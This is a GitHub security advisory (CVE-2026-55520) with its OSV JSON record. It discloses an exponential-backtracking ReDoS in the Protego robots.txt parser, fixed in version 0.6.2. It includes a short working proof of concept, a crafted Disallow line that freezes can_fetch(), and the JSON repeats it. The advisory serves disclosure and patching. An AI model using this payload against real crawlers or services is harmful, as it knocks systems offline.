GHSA-WJMF-P669-5M5P
Vulnerability from github – Published: 2026-08-28 18:43 – Updated: 2026-08-28 18:43Problem description
Protego constructs regular expressions to match URLs against robots.txt Allow: and Disallow: directives, see protego._urlpattern._URLPattern._prepare_pattern_for_regex(). Every * in the directive value is translated into a lazy .*? regex piece, thus a specially crafted directive value with many asterisks may produce a regex that freezes the parser due to exponential backtracking.
Impact
Parsing a specially crafted robots.txt with protego.Protego.parse() and then trying to match an URL with protego.Protego.can_fetch() results in the latter call not returning for a period dependent on the length of the URL.
Proof of concept
from protego import Protego
robotstxt = f"""
User-agent: *
Disallow: /{"*1" * 12}*Z
"""
rp = Protego.parse(robotstxt)
url = "/" + "1" * 60
rp.can_fetch(url, "mybot") # freezes
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.6.1"
},
"package": {
"ecosystem": "PyPI",
"name": "Protego"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55520"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T18:43:02Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Problem description\n\nProtego constructs regular expressions to match URLs against `robots.txt` `Allow:` and `Disallow:` directives, see `protego._urlpattern._URLPattern._prepare_pattern_for_regex()`. Every `*` in the directive value is translated into a lazy `.*?` regex piece, thus a specially crafted directive value with many asterisks may produce a regex that freezes the parser due to exponential backtracking.\n\n### Impact\n\nParsing a specially crafted `robots.txt` with `protego.Protego.parse()` and then trying to match an URL with `protego.Protego.can_fetch()` results in the latter call not returning for a period dependent on the length of the URL.\n\n### Proof of concept\n\n```python\nfrom protego import Protego\n\nrobotstxt = f\"\"\"\nUser-agent: *\nDisallow: /{\"*1\" * 12}*Z\n\"\"\"\nrp = Protego.parse(robotstxt)\nurl = \"/\" + \"1\" * 60\nrp.can_fetch(url, \"mybot\") # freezes\n```",
"id": "GHSA-wjmf-p669-5m5p",
"modified": "2026-08-28T18:43:02Z",
"published": "2026-08-28T18:43:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/scrapy/protego/security/advisories/GHSA-wjmf-p669-5m5p"
},
{
"type": "WEB",
"url": "https://github.com/scrapy/protego/commit/785940181659bf440ba82f1da148fade5087e858"
},
{
"type": "PACKAGE",
"url": "https://github.com/scrapy/protego"
},
{
"type": "WEB",
"url": "https://github.com/scrapy/protego/releases/tag/0.6.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Protego has exponential backtracking ReDoS in robots.txt URL wildcard matching"
}
Sightings
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